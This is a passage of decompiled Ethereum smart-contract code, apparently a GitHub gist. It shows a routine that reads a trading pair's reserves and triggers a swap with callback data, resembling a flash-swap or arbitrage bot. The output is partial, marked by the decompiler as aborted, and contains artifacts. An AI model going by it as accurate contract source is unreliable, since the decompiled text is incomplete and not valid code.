| while idx < cd[(cd('cd', 100) + 36)]: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| def unknown3956ef14() payable: | |
| require calldata.size - 4 >=′ 128 | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| if ('cd', 68).length > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(32 * ('cd', 68).length) + 97 < 96 or ceil32(32 * ('cd', 68).length) + 97 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[96] = ('cd', 68).length | |
| require (32 * ('cd', 68).length) + cd <= calldata.size | |
| s = 128 | |
| idx = cd[68] + 36 | |
| while idx < (32 * ('cd', 68).length) + cd: | |
| require cd[idx] == addr(cd[idx]) | |
| mem[s] = cd[idx] | |
| s = s + 32 | |
| idx = idx + 32 | |
| continue | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| if ('cd', 100).length > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(ceil32(('cd', 100).length)) + 98 < 97 or ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + 98 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[ceil32(32 * ('cd', 68).length) + 97] = ('cd', 100).length | |
| require cd('cd', 100).length + 36 <= calldata.size | |
| mem[ceil32(32 * ('cd', 68).length) + 129 len ('cd', 100).length] = call.data[cd('cd', 100).length] | |
| mem[ceil32(32 * ('cd', 68).length) + ('cd', 100).length + 129] = 0 | |
| stor11 = 0 | |
| stor12 = 0 | |
| if 0 >= ('cd', 68).length: | |
| revert with 0, 50 | |
| _137 = mem[128] | |
| static call mem[140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + 98 len 96] = ext_call.return_data[0 len 96] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if cd <= ext_call.return_data[0] - 1: | |
| if cd <= ext_call.return_data[32] - 1: | |
| static call addr(_137).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + ceil32(return_data.size) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_137).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (2 * ceil32(return_data.size)) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 162] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 194] = ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 226] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 258] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 290] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 322] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 386] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 418 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 354] = (32 * ('cd', 68).length) + 288 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 418] = ('cd', 100).length | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 450 len ceil32(('cd', 100).length)] = call.data[cd('cd', 100).length], ext_call.return_data[('cd', 100).length + -ceil32(ceil32(('cd', 100).length)) + 31 len ceil32(('cd', 100).length) - ('cd', 100).length] | |
| require ext_code.size(addr(_137)) | |
| call addr(_137).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args cdaddr(this.address), Array(len=ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130 len floor32(ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 31) + 10]) | |
| else: | |
| if cd < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call addr(_137).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + ceil32(return_data.size) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_137).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (2 * ceil32(return_data.size)) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 162] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 194] = ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 226] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 258] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 290] = cd[36] + -ext_call.return_data[32] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 322] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 386] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 418 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 354] = (32 * ('cd', 68).length) + 288 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 418] = ('cd', 100).length | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 450 len ceil32(('cd', 100).length)] = call.data[cd('cd', 100).length], ext_call.return_data[('cd', 100).length + -ceil32(ceil32(('cd', 100).length)) + 31 len ceil32(('cd', 100).length) - ('cd', 100).length] | |
| require ext_code.size(addr(_137)) | |
| call addr(_137).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args cdaddr(this.address), Array(len=ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130 len floor32(ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 31) + 10]) | |
| else: | |
| if cd < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if cd <= ext_call.return_data[32] - 1: | |
| static call addr(_137).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + ceil32(return_data.size) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_137).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (2 * ceil32(return_data.size)) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 162] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 194] = ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 226] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 258] = cd[4] + -ext_call.return_data[0] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 290] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 322] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 386] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 418 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 354] = (32 * ('cd', 68).length) + 288 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 418] = ('cd', 100).length | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 450 len ceil32(('cd', 100).length)] = call.data[cd('cd', 100).length], ext_call.return_data[('cd', 100).length + -ceil32(ceil32(('cd', 100).length)) + 31 len ceil32(('cd', 100).length) - ('cd', 100).length] | |
| require ext_code.size(addr(_137)) | |
| call addr(_137).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args ext_call.return_dataaddr(this.address), Array(len=ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130 len floor32(ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 31) + 10]) | |
| else: | |
| if cd < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call addr(_137).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + ceil32(return_data.size) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_137).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (2 * ceil32(return_data.size)) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 162] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 194] = ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 226] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 258] = cd[4] + -ext_call.return_data[0] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 290] = cd[36] + -ext_call.return_data[32] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 322] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 386] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 418 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 354] = (32 * ('cd', 68).length) + 288 | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 418] = ('cd', 100).length | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + (32 * ('cd', 68).length) + 450 len ceil32(('cd', 100).length)] = call.data[cd('cd', 100).length], ext_call.return_data[('cd', 100).length + -ceil32(ceil32(('cd', 100).length)) + 31 len ceil32(('cd', 100).length) - ('cd', 100).length] | |
| require ext_code.size(addr(_137)) | |
| call addr(_137).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args ext_call.return_dataaddr(this.address), Array(len=ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 100).length)) + (4 * ceil32(return_data.size)) + 130 len floor32(ceil32(('cd', 100).length) + (32 * ('cd', 68).length) + 31) + 10]) | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| log 0xeb83658d: stor11 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment